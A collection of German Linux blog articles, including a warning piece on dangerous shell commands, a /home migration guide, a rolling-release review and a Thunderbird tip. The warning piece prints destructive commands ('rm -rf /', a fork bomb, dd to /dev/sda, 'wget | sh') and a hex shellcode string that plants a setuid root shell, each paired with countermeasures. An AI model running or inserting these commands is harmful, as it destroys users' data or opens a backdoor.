DSGVO, Konsequenzen f√ľr Verbraucher

Es gibt bish¬≠er nicht besproch¬≠ene Kon¬≠se¬≠quen¬≠zen f√ľr den Ver¬≠brauch¬≠er.

Warum soll­ten Unternehmen Dat­en vorhal­ten, von denen sie keinen Nutzen haben?
Wer­den bish­er nicht genutzte Dat­en von Kun­den gelöscht?
Jed¬≠er Ver¬≠brauch¬≠er muss sich selb¬≠st um Daten¬≠hy¬≠giene k√ľm¬≠mern!
Auch muss ein Back­up-Konzept her!
Wichtige Dat¬≠en m√ľssen Sie selb¬≠st vorhal¬≠ten!

Debian Net-Installation

Beispiel mit Ressourcenscho­nung und Benutzer­fre­undlichkeit, denn bei­des muss sich nicht auss­chließen.

Inhaltsverzeichnis

  1.  Ein¬≠leitung
  2. Instal¬≠la¬≠tionsvo¬≠raus¬≠set¬≠zun¬≠gen f√ľr Debian mit XFCE4
  3. Down­load
  4. Hash-Pr√ľ¬≠fung
  5. Daten­träger erstellen
  6. Bootmedi­um starten
  7. Instal­la­tion
  8. Kon­fig­u­ra­tion der Benutzer­fre­undlichkeit
  9. Fein­tun­ing
  10. Anhang Pro¬≠gram¬≠m√ľber¬≠sicht
  11. Nach­wort
Debian Net-Instal­la­tion weit­er­lesen

Gefährliche Befehle, Linux-Bom­ben


Inhaltsverzeichnis

Vor­wort
1. rm
2. rm -rf in hexa­dez­i­mal
3. Fork­bomb
4. Copy und Paste
5. Device Null
6. Oper­a­toren
7. WGET
8. dd
9. Weit­ere Befehle
Faz­it
Quellen


Vorwort

Vor­sicht, nur in virtuellen Maschi­nen testen! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine virtuelle Mas­chine instal­liert und mehrfach kopiert.


1. rm

Die bekan¬≠nteste Lin¬≠ux-Bombe ist wohl ‚Äúrm‚ÄĚ, denn es wird oft vergessen den kom¬≠plet¬≠ten Pfad anzugeben, auch wenn man in einem Unter¬≠verze¬≠ich¬≠nis ist, denn dieser Befehl geht √ľber die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nach­frage rekur­siv alles ab Wurzelverze­ich­nis. Alles heißt, alle einge­hängte Laufw­erke und auch alle Net­zlaufw­erke.
Funk­tion­iert tod­sich­er! Aber nicht unter dem Ubun­tu, dort wird eine War­nung aus­gegeben.
Gegen­maß­nahme
Ein Fall¬≠strick kann ‚Äúsafe-rm‚ÄĚ sein. Es soll vor unbe¬≠ab¬≠sichtigten l√∂schen helfen. Wer sich aber daran gew√∂h¬≠nt und auf einen anderen/neuen Rech¬≠n¬≠er kein ‚Äúsafe-rm‚ÄĚ instal¬≠liert hat, dann ist ‚Äúrm‚ÄĚ ist sein¬≠er Gewalt nicht zu brem¬≠sen.
Anson­sten hil­ft auch kein beten.
Quelle
Weit­eres in jedem Lin­ux-Hand­buch und jed­er Unix-Befehlsref­erenz.


2. rm -rf in hexadezimal

Ist genau­so schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubun¬≠tu m√ľssten dazu die Pakete release und bikeshed instal¬≠liert sein. Hat bei mir unter Ubun¬≠tu nicht funk¬≠tion¬≠iert.


3. Forkbomb

Rech­n­er aus­las­ten mit Hin­ter­grun­dak­tiv­ität und damit die CPU mal richtig heiß wird und sich selb­st aus­lötet.

:(){ :|:& };:

Funk¬≠tion die definiert wird, hier ‚Äú:()‚ÄĚ, ruft sich selb¬≠st als Hin¬≠ter¬≠grun¬≠dak¬≠tiv¬≠it√§t auf und √ľbergibt sich wieder neu und so weit¬≠er, also eine typ¬≠is¬≠che Fork¬≠bomb. Funk¬≠tion¬≠iert unter Ubun¬≠tu. B√∂sar¬≠tig, es wird am Anfang nicht gle¬≠ich wahrgenom¬≠men und Sys¬≠tem¬≠mon¬≠i¬≠tore, wie ‚ÄúConky‚ÄĚ, zeigen durch die 100% aus¬≠ge¬≠lastete CPU keine Ver√§n¬≠derun¬≠gen an.
Gegen­maß­nahme
Schutz gibt es, wenn die Datei ‚Äú/etc/security/limits.conf‚ÄĚ dem entsprechend edi¬≠tiert wird.


4. Copy und Paste

Das Inter¬≠net hil¬≠ft bei vie¬≠len Gele¬≠gen¬≠heit¬≠en, aber erset¬≠zt nicht das eigene Denken. Kopieren und Ein¬≠f√ľ¬≠gen kann gef√§hrlich sein. Hin¬≠ter ein¬≠er harm¬≠losen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­steck­en.
Gegen­maß­nahme
Vor¬≠sicht¬≠shal¬≠ber in ein Edi¬≠tor ein¬≠f√ľ¬≠gen, hil¬≠ft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tat­säch­lich ent­standen um Dat­en, die als unwichtig gel­ten, in das Nichts zu senden.
Doch fol­gende Befehlszeile löscht das gesamte /home-Verze­ich­nis des angemelde­tem Benutzers.

mv ~ /dev/null

In Ubun¬≠tu ist daf√ľr keine Berech¬≠ti¬≠gung vorhan¬≠den.
Gegen­maß­nahme
Nach­denken, was soll eine Tilde, also das /home-Verze­ich­nis, mit Null zu tun haben!


6. Operatoren

Gerne nutze ich das Kom¬≠man¬≠do ‚Äúls > Verzeichnis.txt‚ÄĚ um mir den Inhalt eines Verze¬≠ich¬≠nis als Text¬≠datei abzule¬≠gen. Und bei √Ąnderun¬≠gen lege ich mit dem dop¬≠pel¬≠ten Operan¬≠den ‚Äúls ¬Ľ Verzeichnis.txt‚ÄĚ in der sel¬≠ben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl aus¬≠ge¬≠f√ľhrt √ľber¬≠schreibt er die genan¬≠nte Fest¬≠plat¬≠te mit sich selb¬≠st. Statt ‚Äúls‚ÄĚ k√∂n¬≠nte auch ein ander¬≠er Befehl genom¬≠men wer¬≠den, die Auswirkung ist gle¬≠ich, da hier der Operand den Fehler aus√ľbt. In Ubun¬≠tu ist daf√ľr keine Berech¬≠ti¬≠gung vorhan¬≠den.
Gegen­maß­nahme
Immer erst in ein¬≠er virtuellen Mas¬≠chine solche Kom¬≠man¬≠dos pr√ľfen.


7. WGET

Ist dieselbe Bequem¬≠lichkeit wie kopieren und ein¬≠f√ľ¬≠gen. Ein Script wird im Netz zur Ver¬≠f√ľ¬≠gung gestellt und nun kann man es ein¬≠fach durch die Shell aus¬≠f√ľhren, mit Ver¬≠hin¬≠derung von wichti¬≠gen Infor¬≠ma¬≠tio¬≠nen.

wget http://webseite.com -q | sh

Nur, ob die Beschrei¬≠bung des Skriptes mit dem tat¬≠s√§ch¬≠lichem Inhalt √ľbere¬≠in¬≠stimmt, ist hier nicht plau¬≠si¬≠bel erwiesen.
Hat in mein­er Ubun­tu-Instal­la­tion nicht funk­tion­iert.
Gegen­maß­nahme
Durch ‚Äúqui¬≠et‚ÄĚ ist es noch nicht mal m√∂glich die Gefahr zu ban¬≠nen, zum Beispiel mit ‚ÄúStrg+c‚ÄĚ.


8. dd

Dieses Kom¬≠man¬≠do ist zum Kopieren gedacht. Hier ist Miss¬≠brauch m√∂glich, um Daten¬≠tr√§ger zu √ľber¬≠schreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel wer­den Zufall­szahlen auf die gesamte Fest­plat­te geschrieben und somit der vorhan­dene Inhalt gelöscht.
Gegen­maß­nahme
Da hab ich es mit Nel¬≠son -> ‚ÄúHaha‚ÄĚ.


9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte wer¬≠den rekur¬≠siv ent¬≠zo¬≠gen oder keine erteilt wie man¬īs sieht. Dat¬≠en bleiben aber erhal¬≠ten.
Mit umask wären sicher­lich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unverän­der­lich set­zen

sudo chattr -i root

Attrib­ut wieder ent­fer­nen


10. Fazit

Das sind wohl einige der bekan¬≠ntesten Fall¬≠gruben. Trotz¬≠dem sollte bei ange¬≠boten¬≠er Hil¬≠fe das eigene Denken die erste H√ľrde sein und ein gesun¬≠des Ma√ü an Mis¬≠strauen, ob andere nicht auch Fl√ľchtigkeits¬≠fehler machen, w√§re ange¬≠bracht.


Quellen

Lin­ux-Hand­buch von Kofler, Gallileo-Ver­lag
Unix-Befehlsref­eren­zen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Rolling Release ‚ÄĒ meine Erfahrungen

Inhaltsverzeichnis

Ein immer aktuelles und sicheres Betrieb­ssys­tem, ein Traum
‚ÄúDebian‚ÄĚ-Testing
‚Äúsiduc¬≠tion‚ÄĚ
‚ÄěMan¬≠jaro‚Äú
Abschluss­be­tra­ch­tung


Ein immer aktuelles und sicheres Betriebssystem, ein Traum

Ist er schon wahr gewor¬≠den oder sind da H√ľr¬≠den?
Jahre­lang ver­suche ich ein Rolling Release pro­duk­tiv zu nutzen, aber es gelingt mir nicht ohne erhe­bliche Aufwen­dun­gen. Also war es eine bish­er erfol­glose Suche nach dem ide­alem Sys­tem.

Hier ein Erfahrungs¬≠bericht vom Jan¬≠u¬≠ar 2018. Ich habe die drei mir bekan¬≠ntesten Rolling Release vorgenom¬≠men, ‚ÄúDebian‚ÄĚ-Testing, ‚Äúsiduc¬≠tion‚ÄĚ und ‚ÄúMan¬≠jaro‚ÄĚ.

Ja ich wei√ü, ‚ÄúDebian‚ÄĚ-Testing ist kein echt¬≠es Rolling Release und au√üer¬≠dem gibt es noch ‚ÄúGen¬≠too Lin¬≠ux‚ÄĚ und ‚Äúopen¬≠SUSE‚ÄĚ und jede Menge kleinere Dis¬≠tros. ‚ÄúGen¬≠too-Lin¬≠ux‚ÄĚ nutzt ein Paket¬≠man¬≠age¬≠ment was ungle¬≠ich von Arch, Debian und Red¬≠Hat ist, daher fliegt es als zu selt¬≠sam aus mein¬≠er Auswahl. ‚Äúopen¬≠SUSE‚ÄĚ ist seit √úber¬≠nahme durch ‚ÄúNov¬≠ell‚ÄĚ und seinem Gebaren sowie dem Pakt mit ‚ÄúMicrosoft‚ÄĚ auch raus.


‚ÄúDebian‚ÄĚ-Testing

Debian ste¬≠ht im Ruf r√ľck¬≠w√§rts kom¬≠pat¬≠i¬≠bel zu sein. Test¬≠ing liegt in der Rei¬≠hen¬≠folge der Ver√∂f¬≠fentlichun¬≠gen zwis¬≠chen unsta¬≠ble, auch sid genan¬≠nt, und sta¬≠ble, der erzkon¬≠ser¬≠v¬≠a¬≠tiv¬≠en ‚ÄěIst-fer¬≠tig Aus¬≠gabe‚Äú.

Steck­brief
‚ÄĒ rel¬≠a¬≠tiv schnell mit neuen Ker¬≠nels ver¬≠sorgt
‚ÄĒ rel¬≠a¬≠tiv schnell mit neuen Sicher¬≠heit¬≠sup¬≠dates ver¬≠sorgt
‚ÄĒ rel¬≠a¬≠tiv schnell mit neuen Pro¬≠gram¬≠mver¬≠sio¬≠nen ver¬≠sorgt
‚ÄĒ alt¬≠back¬≠ene Desk¬≠top-Umge¬≠bun¬≠gen
‚ÄĒ strenge Reg¬≠ulierun¬≠gen von Recht¬≠en und freier Soft¬≠ware

Test­fall
Nach der Instal¬≠la¬≠tion und der Updates und Upgrades, wollte ich ‚ÄúTeamview¬≠er 9‚ÄĚ instal¬≠lieren, also bewusst nicht die neueste Ver¬≠sion. Da es ein 64Bit-Test¬≠ing war, hat¬≠te ich die 64Bit-Teamview¬≠er-Ver¬≠sion instal¬≠lieren wollen, ging nicht. Also die 32Bit-Teamview¬≠er-Ver¬≠sion instal¬≠lieren, ging aber auch nicht. Ok, es fehlen Abh√§ngigkeit¬≠en, nun habe ich diese nach instal¬≠lieren wollen, doch diese gibt es nicht in den offiziellen Repos¬≠i¬≠to¬≠rien. Trotz kon¬≠ser¬≠v¬≠a¬≠tiv¬≠er Teamview¬≠er-Vari¬≠ante k√∂n¬≠nen Abh√§ngigkeit¬≠en nicht schnell aufgel√∂st wer¬≠den.


‚Äúsiduction‚ÄĚ

Der Name ver¬≠r√§t es, die Grund¬≠lage ist das ‚ÄěDebian‚Äú-unstable. Der Dis¬≠trib¬≠u¬≠tor meint von sich selb¬≠st das ‚ÄěGemein¬≠schafts¬≠basierende Betrieb¬≠ssys¬≠tem‚Äú zu sein.

Steck­brief
‚ÄĒ rel¬≠a¬≠tiv schnell mit neuen Ker¬≠nels ver¬≠sorgt
‚ÄĒ rel¬≠a¬≠tiv schnell mit neuen Pro¬≠gram¬≠mver¬≠sio¬≠nen ver¬≠sorgt
‚ÄĒ ver√§n¬≠derte und teil¬≠weise irre Desk¬≠top-Umge¬≠bun¬≠gen
‚ÄĒ Forum-Van¬≠dal¬≠is¬≠mus

Test­fall
Bei Hil¬≠feer¬≠suchen im Forum, sollte man sich unbe¬≠d¬≠ingt devot ver¬≠hal¬≠ten. Sollte man selb¬≠st eine Frage stellen, die f√ľr andere Kri¬≠tik enthal¬≠ten k√∂n¬≠nte, erwartet den Fra¬≠gen¬≠den Bash¬≠ing, Abweisun¬≠gen und Antworten die nicht zum The¬≠ma geh√∂ren. Echte Hil¬≠fe, auf eigene Fra¬≠gen, ist sehr schw¬≠er zu find¬≠en. Eine Zumu¬≠tung f√ľr den Leit¬≠satz ‚Äěcom¬≠mu¬≠ni¬≠ty based OS‚Äú, eher eine kon¬≠ser¬≠v¬≠a¬≠tive Geschlossen¬≠heit mit Aus¬≠nah¬≠men.


‚ÄěManjaro‚Äú

die Arch-basierende Lin¬≠ux-Aus¬≠gabe. Sie ist wun¬≠der¬≠sch√∂n und sehr ver¬≠f√ľhrerisch. Es ist die mod¬≠ern¬≠ste und aktuell¬≠ste Dis¬≠tri¬≠b¬≠u¬≠tion, die ich kenne.

Steck­brief
‚ÄĒ mit den neuesten Ker¬≠nels ver¬≠sorgt
‚ÄĒ schnell mit neuen Sicher¬≠heit¬≠sup¬≠dates ver¬≠sorgt
‚ÄĒ mit den neuesten Pro¬≠gram¬≠mver¬≠sio¬≠nen ver¬≠sorgt
‚ÄĒ mod¬≠ern¬≠er XFCE-Desk¬≠top
‚ÄĒ riesiges Arch-Wiki, mit fast allen Antworten

Test­fall
Nach der Instal¬≠la¬≠tion habe ich selb¬≠stver¬≠st√§ndlich die Paketlis¬≠ten aktu¬≠al¬≠isiert. Doch nun kommt der fail. Beim upgraden hing die neuste Ver¬≠sion vom Fire¬≠fox fest. Auch nach Neustart und nochma¬≠li¬≠gen updat¬≠en sowie upgraden wurde das Fire¬≠fox-Paket nicht instal¬≠liert. ‚ÄěMan¬≠jaro‚Äú die aktuell¬≠ste Dis¬≠tro ver¬≠sagt beim aktu¬≠al¬≠isieren.


Abschlussbetrachtung

Was soll ich dazu noch schreiben, wenn die drei Dis¬≠tros in ihrem jew¬≠eiligem Haupt¬≠merk¬≠mal patzen. Ja, ich k√∂n¬≠nte um Entschuldigung bit¬≠ten, das es nicht jew¬≠eils das gle¬≠iche Test¬≠szenar¬≠i¬≠um war, oder selb¬≠stver¬≠st√§ndlich h√§tte man die Abh√§ngigkeit¬≠en und die Hin¬≠dernisse durch Eigenini¬≠tia¬≠tive abstellen k√∂n¬≠nen, doch es bleibt der Geschmack von ‚Äěist nicht fer¬≠tig‚Äú. Rolling Release sollte niemals von Win¬≠dows-Usern genutzt wer¬≠den und auch nicht von Lin¬≠ux-Usern die noch nicht viel mit der Kon¬≠sole gear¬≠beit¬≠et hat¬≠ten.

/home umziehen oder Wohnungswechsel

Prob­lem
Die alte Par¬≠ti¬≠tion oder die alte Fest¬≠plat¬≠te ist zu klein gewor¬≠den f√ľr die eignen Dat¬≠en. Oder eine schnelle ssd-Fest¬≠plat¬≠te soll jet¬≠zt das neue zu Hause wer¬≠den.

Lösung
Umzug des /home-Verze­ich­nis auf eine zusät­zlich Par­ti­tion oder/und Fest­plat­te ohne Neuin­stal­la­tion des beste­hen­den Sys­tem.


Inhaltsverzeichnis

Vor­wort
1. Vor­bere­itun­gen
2. In der Kon­sole arbeit­en
3. Neue /home-Par­ti­tion ein­hän­gen
4. Dateien vom alten /home in das neue /home-Verze­ich­nis kopieren
5. Altes /home-Verze­ich­nis löschen
6. Neues /home-Verze­ich­nis zum booten ein­tra­gen
7. reboot
Quellen


Vorwort

Dieser Artikel gilt f√ľr Ubun¬≠tu-Derivate, f√ľr andere Debian-basieren¬≠den Dis¬≠tros sind teil¬≠weise andere Vorge¬≠hensweisen n√∂tig, beispiel¬≠sweise statt sudo, dann su, wenn man selb¬≠st nicht als sudo¬≠er einge¬≠tra¬≠gen ist.
Zu beacht­en ist, dass hier alle Benutzer von /home, außer root, umziehen.
Zu beacht¬≠en sind au√üer¬≠dem alle Schr√§gstriche, Anf√ľhrungsze¬≠ichen und son¬≠stige Noti¬≠fika¬≠tio¬≠nen; wird ein Zeichen zu viel oder zu wenig geset¬≠zt, wird der Befehl nicht oder sog¬≠ar falsch aus¬≠ge¬≠f√ľhrt, was beispiel¬≠sweise bei dem Befehl

rm

ver­heerend sein kann.


1. Vorbereitungen

1.1. Zuerst den Spe­icher­platz
von /home ermit­telt mit
Ter­mi­naleingabe:

du -sh /home

Ter­mi­nalaus­gabe:

548G	/home

Eine grafis¬≠che L√∂sung w√§re ‚Äúgnome-disk-util¬≠i¬≠ty‚ÄĚ.
1.2. Nun ein Back­up
f√ľr unvorherge¬≠se¬≠hen Ereignisse oder geplantes Wieder¬≠her¬≠stellen durch¬≠f√ľhren, das Pro¬≠gramm ‚Äěgrsync‚Äú w√§re eine grafis¬≠che L√∂sung. Nicht die ‚Äúver¬≠steck¬≠ten‚ÄĚ Dateien und Verze¬≠ich¬≠nisse vergessen, diese begin¬≠nen mit einem Punkt im Namen.
1.3. Dann eine neue oder leere Par­ti­tion
, mit gew√ľn¬≠schter Gr√∂√üe auf vorhan¬≠den¬≠er oder zus√§t¬≠zlich¬≠er Fest¬≠plat¬≠te erstellen, das Pro¬≠gramm ‚Äěgpart¬≠ed‚Äú w√§re eine grafis¬≠che L√∂sung. Die Gr√∂√üe sollte min¬≠destens dem Spe¬≠icher¬≠platz der bish¬≠eri¬≠gen Spe¬≠icher¬≠gr√∂√üe und zus√§t¬≠zlich 20% sein, wegen der tem¬≠por√§ren Verze¬≠ich¬≠nisse.


2. In der Konsole arbeiten

2.1. F√ľr ein fehler¬≠freies Arbeit¬≠en¬≠wird jet¬≠zt die grafis¬≠che Ober¬≠fl√§che ver¬≠lassen mit ein¬≠er Tas¬≠tenkom¬≠bi¬≠na¬≠tion.

Strg+Alt+F1 # bis F6

2.2. Login mit eigen­em Benutzer­na­men und dem dazuge­hörigem Pass­wort.
2.3. Admin¬≠is¬≠tra¬≠tive root-Rechte f√ľr die nach¬≠fol¬≠gen¬≠den Befehle holen und auf die ober¬≠ste Ebene ‚Äú/‚ÄĚ gehen.

sudo -s
cd /

3. Neue /home-Partition einhängen

3.1. Eine detail­re­iche Über­sicht der beste­hen­den Por­tio­nen und Fest­plat­ten holen.

fdsik -l

3.2. Die Beze­ich­nung der neuen Par­ti­tion notieren, etwa wie fol­gt und hier im weit­erem als Beispiel ver­wen­det.

sda3

3.3. Nun ein tem­porären Verze­ich­nis erstellen.

mkdir /mnt/tmp

3.4. Diese Verze­ich­nis in der neuen /home-Par­ti­tion moun­ten.

mount /dev/sda3 /mnt/tmp

4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren

4.1. Ein exak¬≠tes kopieren mit Pr√ľ¬≠fung

rsync -avx --progress /home/ /mnt/tmp

4.2. oder schneller kopieren.

cp -avx /home/* /mnt/tmp

4.3. Die neue Par­ti­tion wird jet­zt moun­ten.

mount /dev/sda3 /home

4.4. Die neue Par¬≠ti¬≠tion √ľber¬≠pr√ľfen.

du -sh /home; mount|grep /home

Die Aus­gabe sollte etwa so ausse­hen.

548G	/home
dev/sda3 on /home type ext4 (rw)

5. altes /home-Verzeichnis löschen

5.1. Ich gehe davon aus, dass das Back­up erstellt wurde :-)
5.2. Nun das alte /home-Verze­ich­nis unmoun­ten.

umount /home

5.3. jet­zt kann es rekur­siv gelöscht wer­den.

rm -rf /home/*

6. neues /home-Verzeichnis zum booten eintragen

6.1. Die Iden­ti­fika­tion der /home-Par­ti­tion ermit­teln.

blkid

Hier eine beispiel­hafte Aus­gabe.

/dev/sda1: UUID="xxx-x … x-123" TYPE="ext4" PARTUUID="0815-01"
/dev/sda2: UUID="xxx-x … x-345" TYPE="ext4" PARTUUID="0815-02"
/dev/sda3: UUID="xxx-x … x-678" TYPE="ext4" PARTUUID="0815-03"

6.2. Nun die iden¬≠ti¬≠fizierte Par¬≠ti¬≠tionzus√§t¬≠zlich in die Datei ‚Äú/etc/fstab‚ÄĚ am Ende ein¬≠tra¬≠gen mit Hil¬≠fe eines Kon¬≠solened¬≠i¬≠tors wie ‚Äěvi‚Äú, ‚Äěvim‚Äú oder ‚Äěnano‚Äú als benutzer¬≠fre¬≠undlich¬≠stem.

nano /etc/fstab

6.3. Der zusät­zliche Beispielein­trag sehe wie fol­gt aus.

# /dev/sda3 Die Raute zeigt diesen Text als hilfreichen Kommentar.
UUID=xxx-x … x-678  /home   ext4   defaults   0 2
Bitte eine Leerzeile am Ende belassen.

Spe¬≠ich¬≠ern in ‚Äúnano‚ÄĚ, ‚ÄúO‚ÄĚ ist ein Buch¬≠stabe.

Strg+O

Und ‚ÄúNano‚ÄĚ been¬≠den.

Strg+X

7. reboot

reboot

Quellen

Prax­is: Diese Anleitung wurde prak­tisch und mit Erfolg angewen­det.
Inspi­ra­tion: https://wiki.ubuntuusers.de/Home_umziehen/
Bild: Frank Rosen­berg­er

Thunderbird verliert die Sortierung

Prob­lem
Thun­der­bird kann die Sortierung der einge­gan­genen E-Mails ver­lieren. Es ist ein seltenes Phänomen, aber wenn, dann sehr ärg­er­lich.

Lösung
Der Stan¬≠dard¬≠schal¬≠ter f√ľr die Sortierung ist die Spal¬≠ten√ľber¬≠schrift. Doch wenn diese Sortierung beim n√§ch¬≠sten Start des Betrieb¬≠ssys¬≠temes vergessen wurde, dann kommt die fol¬≠gende L√∂sung zum Tra¬≠gen.


Ich zeige hier am Beispiel der Sortierung nach Datum, neueste E-Mail oben, wie eine bleibende Ein­stel­lung vorgenom­men wer­den kann.


about:config

Die bleibende Ein¬≠stel¬≠lung kann in der Kon¬≠fig¬≠u¬≠ra¬≠tions¬≠datei ‚Äěabout:config‚Äú vorgenom¬≠men wer¬≠den.

  1. Ein Weg dor¬≠thin ist das soge¬≠nan¬≠nte ‚ÄěHam¬≠burg¬≠er¬≠men√ľ‚Äú ‚Üí Ein¬≠stel¬≠lun¬≠gen ‚Üí Ein¬≠stel¬≠lun¬≠gen ‚Üí Erweit¬≠ert ‚Üí Schal¬≠ter ‚ÄěKon¬≠fig¬≠u¬≠ra¬≠tion bear¬≠beit¬≠en‚Äú ‚Üí Schal¬≠ter ‚ÄěIch bin mir der Gefahren bewusst!‚Äú.
  2. ODER √ľber die Men√ľleiste geht es so; mit der Taste F10 die ‚ÄěMen√ľleiste‚Äú holen ‚Üí Men√ľ ‚ÄěBear¬≠beit¬≠en‚Äú ‚Üí Sub¬≠men√ľ ‚ÄěEin¬≠stel¬≠lun¬≠gen‚Äú ‚Üí Tab ‚ÄěErweit¬≠ert‚Äú ‚Üí Schal¬≠ter ‚ÄěKon¬≠fig¬≠u¬≠ra¬≠tion bear¬≠beit¬≠en‚Äú ‚Üí Schal¬≠ter ‚ÄěIch bin mir der Gefahren bewusst!‚Äú.
  3. In die obere Such¬≠leiste eingeben ‚Äěsort_order‚Äú und Suche best√§ti¬≠gen mit Taste Enter.
  4. Es wer¬≠den nun die Ein¬≠tr√§ge mit ‚Äúmailnews.default_ ‚Ķ‚ÄĚ angezeigt und nun kann der Wert des Inte¬≠ger von 1 auf 2 ge√§n¬≠dert wer¬≠den.

Ab sofort verbleiben die ank¬≠om¬≠menden neuen E-Mails oben und die √§ltesten sind in der Sortierung unten. Genau¬≠so k√∂n¬≠nen auch andere Werte f√ľr andere Sortierun¬≠gen ge√§n¬≠dert wer¬≠den.


Standardschalter f√ľr die Sortierung ist die Spalten√ľberschrift
Stan¬≠dard¬≠schal¬≠ter f√ľr die Sortierung ist die Spal¬≠ten√ľber¬≠schrift
Konfiguration bearbeiten
Kon­fig­u­ra­tion bear­beit­en
Schalter ‚ÄěIch bin mir der Gefahren bewusst!‚Äú
Schal¬≠ter ‚ÄěIch bin mir der Gefahren bewusst!‚Äú
sort_order
sort_order

Was ist in Windows und Linux gleich?


1 Vorwort

Wenn hier zu gle­ichem oder ähn­lichem zwis­chen Win­dows und Lin­ux gesprochen wird, so bezieht sich das bei Lin­ux meist auf eine von mehreren Möglichkeit­en oder Optio­nen. Woge­gen bei Win­dows es oft nur jew­eils eine vorhan­dene Sit­u­a­tion existiert.
‚ÄěLin¬≠ux‚Äú bet¬≠rifft in diesem Artikel die Lin¬≠ux-Dis¬≠tri¬≠b¬≠u¬≠tion. Lin¬≠ux-Dis¬≠tri¬≠b¬≠u¬≠tio¬≠nen sind Zusam¬≠men¬≠stel¬≠lun¬≠gen von einem Lin¬≠ux-Ker¬≠nel, dem eigentlichem Betrieb¬≠ssys¬≠tem, ein¬≠er grafis¬≠chen Benutzer¬≠schnittstelle sowie ein abges¬≠timmtes Port¬≠fo¬≠lio von all¬≠ge¬≠mein bekan¬≠nten Pro¬≠gramme oder wichtiger All¬≠t¬≠agshelfer. Auf den Unter¬≠schied von Lin¬≠ux-Ker¬≠nel und Lin¬≠ux-Dis¬≠tri¬≠b¬≠u¬≠tion wird hier nicht weit¬≠er einge¬≠gan¬≠gen.
Als Beispiele dienen hier ‚ÄěWin¬≠dows 7 Home Pre¬≠mi¬≠um‚Äú und ‚ÄěXubun¬≠tu 16.04 LTS‚Äú die unwesentlich mod¬≠i¬≠fiziert sind, beispiel¬≠sweise wer¬≠den keine Hin¬≠ter¬≠grund¬≠bilder genutzt, wegen der besseren Doku¬≠men¬≠ta¬≠tion.


2 Grundsätzliches


2.1 Computer

Generell kann man sagen, das auf jedem PC Win¬≠dows als auch Lin¬≠ux l√§uft, au√üer in sel¬≠te¬≠nen Aus¬≠nah¬≠men in denen der Her¬≠steller das unterbindet. Zudem l√§uft Lin¬≠ux auf vie¬≠len weit¬≠eren Com¬≠put¬≠er¬≠plat¬≠tfor¬≠men und als embed¬≠ded Sys¬≠tem. ‚ÄěEinge¬≠bet¬≠tete Sys¬≠teme‚Äú sind sehr klein gehal¬≠tene Betrieb¬≠ssys¬≠teme in Ger√§ten f√ľr den Haushalt, die Mul¬≠ti¬≠me¬≠di¬≠anutzung sowie Ger√§te und Auto¬≠mat¬≠en der Indus¬≠trie und Wis¬≠senschaft.


2.2 Grafische Benutzeroberfläche

Die grafis­che Benutze­r­ober­fläche beste­ht aus heutiger Sicht aus dem Desk­top, einem Fen­ster­sys­tem oder/und dem Fen­ster­man­ag­er. Diese Kom­bi­na­tion der grafis­chen Sys­teme ermöglicht das Arbeit­en mit Zeigesys­teme, wie der Maus und der Kom­bi­na­tion von Tas­tatur und Maus.
Unter Win­dows sind diese Bestandteile sehr mono­lithisch zusam­menge­set­zt. Lin­ux bietet die Möglichkeit den Desk­top und das Fen­ster­sys­tem, beziehungsweise dem Fen­ster­man­ag­er, nach eigen­em Willen zu wech­seln oder zu kom­binieren.


2.3 Maus und Tastatur

Bei¬≠de Betrieb¬≠ssys¬≠tem k√∂n¬≠nen mit der Maus und der Tas¬≠tatur bedi¬≠ent wer¬≠den, oder ihren √Ąquiv¬≠alen¬≠zen, wie Touch¬≠pad oder kapaz¬≠i¬≠tiv¬≠en Bild¬≠schir¬≠men.


2.4 Treiber

Bei neu gekauftem Windows-PC¬īs, liegt in der Regel eine Treiber-CD-ROM bei und unter Lin¬≠ux wer¬≠den die Treiber in den Repos¬≠i¬≠to¬≠rien meist mit¬≠geliefert. Zumin¬≠d¬≠est sind f√ľr bei¬≠de Sys¬≠teme sehr viele Treiber von all¬≠ge¬≠mein genutzter Hard¬≠ware vorhan¬≠den.


3 Bedienung


3.1 Desktop / Schreibtisch

